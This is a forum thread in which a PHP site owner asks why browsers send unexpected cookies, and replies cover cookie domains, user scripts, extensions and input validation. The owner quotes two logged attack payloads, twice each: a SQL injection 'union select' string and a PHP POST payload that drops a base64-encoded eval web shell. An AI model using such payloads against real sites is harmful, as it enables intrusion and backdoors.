I receive cookies that were not set by my server.

[mikeeverard]

I run a commercial website and I make use of cookies. I log all user traffic and can see that I often see cookies sent to me by the users browser that were not set by me. The rules state that a browser cannot send a cookie that was set by another domain. Perhaps javascript can set a cookie, but what is the point as my server will not look for any cookies other than those set by my PHP software.

As I often receive cyber attacks I will abort any requested page which contains any GET, POST or COOKIE data with variables I don't use and with any data that contains characters I would not use and if the string length of the variable is outside limits I set.

I'm worried some of my client base are not able to use the site due to this cookie issue. By looking at the User Agent info I see spiders are mostly responcible for my site aborting a requested page.

Does anyone understand this behaviour and perhaps know the point of sending cookies unknown to a server?

[logic_earth]

Instead of aborting the request, just ignore the data you don't care about.

[StarLion]

The rules state that a browser cannot send a cookie that was set by another domain.

You mean your local terms of service, yes? Browsers dont care about who SET the cookie; they care about matching the DOMAIN of the cookie.

Perhaps javascript can set a cookie, but what is the point as my server will not look for any cookies other than those set by my PHP software.

And your script's cookies are different from other cookies because....

As I often receive cyber attacks I will abort any requested page which contains any GET, POST or COOKIE data with variables I don't use and with any data that contains characters I would not use and if the string length of the variable is outside limits I set.

Sounds a -little- on the paranoid side to me, but thats your prerogative.

I'm worried some of my client base are not able to use the site due to this cookie issue.

And this is the consequence of your choice to abort.

By looking at the User Agent info I see spiders are mostly responcible for my site aborting a requested page.

Not surprising, as there are a lot of spiders out there.

Does anyone understand this behaviour and perhaps know the point of sending cookies unknown to a server?

Try capturing some of those cookies and take a look at their content. It might narrow down your question.

[mikeeverard]

Yes I could do cyber attack checks on the variables that I have set and ignore any variables that were sent. I'm just worried about some devious trick that a hacker could get up to so I like to play safe. Here is typical raw data sent to my server-----

This was sent as GET data. My variables are id, add & bsp. As you can see the bsp data is a valid number with lots of nasty SQL appended. As the data from my variables are often used in SQL queries I'm very careful about how I use them!!!
id=32&add=145&bsp=999999.9+union+all+select+0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536--

Here is another example of a raw POST string received.
<?php echo('4V0gf2vVuCiyYgYI'); file_put_contents('php_info.php',base64_decode('PD9waHAgZXZhbChzdHJpcHNsYXNoZXMoYXJyYXlfcG9wKCRfUE9TVCkpKTsgPz4=')); ?>

All this makes me super careful. However, I'd like to understand about the cookie behaviour I've seen as I though it impossible from a regular browser. Clearly cyber attack software could create any GET POST or COOKIE data.

[mikeeverard]

You mean your local terms of service, yes? Browsers dont care about who SET the cookie; they care about matching the DOMAIN of the cookie.


And your script's cookies are different from other cookies because....


Sounds a -little- on the paranoid side to me, but thats your prerogative.


And this is the consequence of your choice to abort.


Not surprising, as there are a lot of spiders out there.


Try capturing some of those cookies and take a look at their content. It might narrow down your question.

Thanks for your comments. See below for some cyber attack data. I'm just puzzled how a normal user's browser can add extra cookies!

[logic_earth]

Easily, cookies are controlled by the end user. The server does not control what cookies a browser sends or keeps.

As for the cyber attack data, filter, validation, and escape is all you need to properly handle it. Most attacks are just automated systems probing for vulnerabilities like say in old Wordpress installations.

[mikeeverard]

Easily, cookies are controlled by the end user. The server does not control what cookies a browser sends or keeps.

As for the cyber attack data, filter, validation, and escape is all you need to properly handle it. Most attacks are just automated systems probing for vulnerabilities like say in old Wordpress installations.

Thanks for your comments. Its just that I thought that a normal mainstream browser would never create a new cookie. Clearly one could write browser software to inject any data into the COOKIE header. I'm just surprised to find so many unusual cookies arriving.

I often see cookie data such as cust=deleted where cust is a cookie of mine that I have indeed deleted (eg after a user logs out). I thought that the browser would simply delete the cookie and then never add anything relating to that cookie in the cookie header.
I've looked in my logs and see that a spider was responsible for the 'cust=deleted'. Here it is...
HTTP_User_Agent= Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

[felgall]

Cookies only get deleted when they expire.

Any cookies set from JavaScript will always be accessible from both JavaScript and on the server. Any cookies set on the server will also be available to JavaScript unless the 'HTTP Only' flag is set.

All $_GET, $_POST, and $_COOKIE data received in PHP should be considered to be tainted (since your visitor can set whatever values there that they like). You should only move the values from those variables that you actually expect to receive out of those globals into new fields that your code will use and should also only perform that move where the value in the field passes validation - ie is a value that you consider to be reasonable for that specific field.

Field validation is the most important part of security - if you make sure all the values received are valid before you use them then the possibilities of security issues are greatly reduced.

[mikeeverard]

Instead of aborting the request, just ignore the data you don't care about.

The reason I don't do this is that the errant data can be very lengthy and can contain all sorts of nasty looking code. So I worry about vulnerabilities such as buffer overrun. Perhaps my Apache server has no such vulnerabilities but I like to be super careful as I have a lot of clients personal data on board. Perhaps I'm too careful. The security game is relatively new to me so I tend to write very strict code.

[mikeeverard]

You mean your local terms of service, yes? Browsers dont care about who SET the cookie; they care about matching the DOMAIN of the cookie.


And your script's cookies are different from other cookies because....


Sounds a -little- on the paranoid side to me, but thats your prerogative.


And this is the consequence of your choice to abort.


Not surprising, as there are a lot of spiders out there.


Try capturing some of those cookies and take a look at their content. It might narrow down your question.

Yes I could do cyber attack checks on the variables that I have set and ignore any variables that were sent. I'm just worried about some devious trick that a hacker could get up to so I like to play safe. Here is typical raw data sent to my server-----

This was sent as GET data. My variables are id, add & bsp. As you can see the bsp data is a valid number with lots of nasty SQL appended. As the data from my variables are often used in SQL queries I'm very careful about how I use them!!!
id=32&add=145&bsp=999999.9+union+all+select+0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536--

Here is another example of a raw POST string received.
<?php echo('4V0gf2vVuCiyYgYI'); file_put_contents('php_info.php',base64_decode('PD9waHAgZXZhbChzdHJpcHNsYXNoZXMoYXJyYXlfcG9wKCRfUE9TVCkpKTsgPz4=')); ?>

All this makes me super careful. However, I'd like to understand about the cookie behaviour I've seen as I though it impossible from a regular browser. Clearly cyber attack software could create any GET POST or COOKIE data.

[mikeeverard]

Cookies only get deleted when they expire.

Any cookies set from JavaScript will always be accessible from both JavaScript and on the server. Any cookies set on the server will also be available to JavaScript unless the 'HTTP Only' flag is set.

All $_GET, $_POST, and $_COOKIE data received in PHP should be considered to be tainted (since your visitor can set whatever values there that they like). You should only move the values from those variables that you actually expect to receive out of those globals into new fields that your code will use and should also only perform that move where the value in the field passes validation - ie is a value that you consider to be reasonable for that specific field.

Field validation is the most important part of security - if you make sure all the values received are valid before you use them then the possibilities of security issues are greatly reduced.

Thanks for your useful comments. You say JavaScript can set a cookie but the pages of my web site contain minimal JavaScript and I certainly don't set any cookies in my JavaScript. As far as I am aware the user's browser after loading one of my pages would only contain the HTML/CSS/JavaScript that I have created. So how do I get cookies I didn't set? I'm puzzled!

[StarLion]

setcookie('HiMike','ThisIsACookie',0,'/','yourdomain.com');

There. I've set a cookie on your browser for yourdomain.com. It -does not matter- what domain this piece of code is on. I've set a cookie for yourdomain.com.

[mikeeverard]

setcookie('HiMike','ThisIsACookie',0,'/','yourdomain.com');

There. I've set a cookie on your browser for yourdomain.com. It -does not matter- what domain this piece of code is on. I've set a cookie for yourdomain.com.

Thanks for your help. Much appreciated.

OK, so you or anyone else could write some code to send an HTTP GET request to any site with any headers included such as cookies. I can see you can do that and that is a deliberate malicious act. If I know it is malicious than I'm happy to abort the page presentation and substitute an error page suggesting there has been suspicious activity. This is what I do on my site.

What I'm worried about is if the unexpected cookies are arriving from normal people using normal browsers. I can't see how that is possible as the page they get into their browser would only contain the HTML/CSS/JavaScript that I have sent out from my server and this would never set unexpected cookies. If this is true then a normal user would never get my error page suggesting there has been suspicious activity. I'm happy with this. I just wondered if the unexpected cookies were somehow coming from normal users with normal browsers due some browser activity I was unaware of.

Do you think this conclusion of mine is correct?

[felgall]

Thanks for your useful comments. You say JavaScript can set a cookie but the pages of my web site contain minimal JavaScript and I certainly don't set any cookies in my JavaScript. As far as I am aware the user's browser after loading one of my pages would only contain the HTML/CSS/JavaScript that I have created. So how do I get cookies I didn't set? I'm puzzled!

You are not the only one who can add JavaScript to your web page. The person who owns the browser can also add their own JavaScript that they want to run on whatever web pages they want it to run on. For example I have JavaScript that runs on all the web pages I access that adds a "view source" link to the page to make it easier for me to help answer people's coding questions.

A lot of browser plugins/extensions can also effectively add JavaScript to ALL web pages accessed by that browser and may use cookies to store the info that the extension needs to retain between accesses to the page.


The only part of a web page you have full control of is the HTML - with the CSS and JavaScript the browser owner can choose to override your choices with their own.

[Michael Morris]

The only part of a web page you have full control of is the HTML - with the CSS and JavaScript the browser owner can choose to override your choices with their own.

Sorta. The only part of a web page you have full control of is what you send (So yes, the HTML, but also the outgoing JS and CSS). What happens when it gets there - and what you receive and why are completely outside your control.

[felgall]

also the outgoing JS and CSS

Visitors can choose to completely ignore those parts or to override them with their own CSS and/or JavaScript - the only part the browser doesn't allow to be turned off is the HTML - also there's no option for the browser user to supply their own HTML but they can supply complete replacement CSS and additional JavaScript.

[mikeeverard]

You are not the only one who can add JavaScript to your web page. The person who owns the browser can also add their own JavaScript that they want to run on whatever web pages they want it to run on. For example I have JavaScript that runs on all the web pages I access that adds a "view source" link to the page to make it easier for me to help answer people's coding questions.

A lot of browser plugins/extensions can also effectively add JavaScript to ALL web pages accessed by that browser and may use cookies to store the info that the extension needs to retain between accesses to the page.


The only part of a web page you have full control of is the HTML - with the CSS and JavaScript the browser owner can choose to override your choices with their own.

Thanks again! Your comments are helping me understand what users can do. You say a user can add their own JavaScript but I can't see how. The only way I can visualise this is for them to load a framed HTML page from a local file with some JavaScript and use one of the frames to view any web site of interest. Then their JavaScript could drill down the DOM to play around with elements of that site such as cookies. Are there other ways of adding their own JavaScript? By the way I use Safari on a Mac.

[felgall]

Thanks again! Your comments are helping me understand what users can do. You say a user can add their own JavaScript but I can't see how. The only way I can visualise this is for them to load a framed HTML page from a local file with some JavaScript and use one of the frames to view any web site of interest. Then their JavaScript could drill down the DOM to play around with elements of that site such as cookies. Are there other ways of adding their own JavaScript? By the way I use Safari on a Mac.

JavaScript can be attached to the browser and run in every web page directly. This facility is built into the Opera browser. The most common way to add it to Firefox is to install the Greasemonkey extension. It can also be easily added to Internet Explorer using the IE7Pro plugin (or any of a number of other plugins that provide the same facility). No changes to the way that web pages are loaded is needed in order for JavaScripts attached to the browser to be able to be run against the page. Adding such scripts does not require any HTML at all as the script is attached to the browser and not to any web page.

Another way to attach JavaScript to the browser so that it can be optionally run against any web page is to attach it in the favorites/bookmarks menu. When the option is selected from there the script runs against the current page. The easiest way to add such a script is to simply code the JavaScript inside a <a href="javascript:..."> tag in a web page then right click on that link and select save as bookmark (or whatever the equivalent option is for the particular browser). See http://javascriptexample.net/badjs01.php for a working example.

[mikeeverard]

JavaScript can be attached to the browser and run in every web page directly. This facility is built into the Opera browser. The most common way to add it to Firefox is to install the Greasemonkey extension. It can also be easily added to Internet Explorer using the IE7Pro plugin (or any of a number of other plugins that provide the same facility). No changes to the way that web pages are loaded is needed in order for JavaScripts attached to the browser to be able to be run against the page. Adding such scripts does not require any HTML at all as the script is attached to the browser and not to any web page.

Another way to attach JavaScript to the browser so that it can be optionally run against any web page is to attach it in the favorites/bookmarks menu. When the option is selected from there the script runs against the current page. The easiest way to add such a script is to simply code the JavaScript inside a <a href="javascript:..."> tag in a web page then right click on that link and select save as bookmark (or whatever the equivalent option is for the particular browser). See http://javascriptexample.net/badjs01.php for a working example.

Thanks, you are being so helpful and its great to know the methods that can be used to run JavaScript against any web page.

In the context of the commercial web site I run I have to decide what to do when I receive unexpected GET, POST or COOKIE data. On seeing some very nasty looking SQL injection attack POST data I want to be very strict! For every variable I expect to receive I look to see if the data only contains the characters I expect (eg just numerals, a space and a + for phone numbers etc). I never expect to see any web unsafe characters (eg \ " ' etc) in any of my variables and I always test for these. I also test the length of all variables for a min and a max length so any rubbish added to a valid variable will be rejected. I remember buffer overflow attacks some time ago that could allow code to be planted into the browser code area after a buffer overrun so I'm keen to reject all lengthy variables. If any error occurs in any variable then I present a simple plain text error page saying that an error in the users's data has occurred and the requested page has been aborted and please contact the webmaster (ie myself) if this is causing you a problem. I also present this error page if any unexpected variable is received. I'm again worried about some crazy lengthy string doing something I wouldn't know about in one of the browsers buffers. Now I do get unknown cookies arriving which prompted this forum thread. This causes abort page to be shown. I've never had an e-mail from any user complaining about this so I sort of thought I'm doing the right things. But I worry about some poor prospective users who can't even start to use my site (revision practice for trainee doctors) and then give up without telling me. Now last week a friend of a friend of mine was invited to look at the site and she only got the abort pages. Thats when I started this thread. I looked at the logs against her IP number and found she was sending Google analytics cookies (__utma __utmb etc). From what you say she probably has some browser plugin that uses JavaScript created cookies to track data and then these are sent to me as a side effect.

What would you recommend I do? Perhaps I'm being too strict by aborting pages with unknown variables arriving. I just don't like that odd looking data sitting in the buffers. I suppose I could UNSET the unknown variables and continue with the page?

Do you know what plugin could cause Google analytics cookies?

Sorry for the long post! This should be almost the last!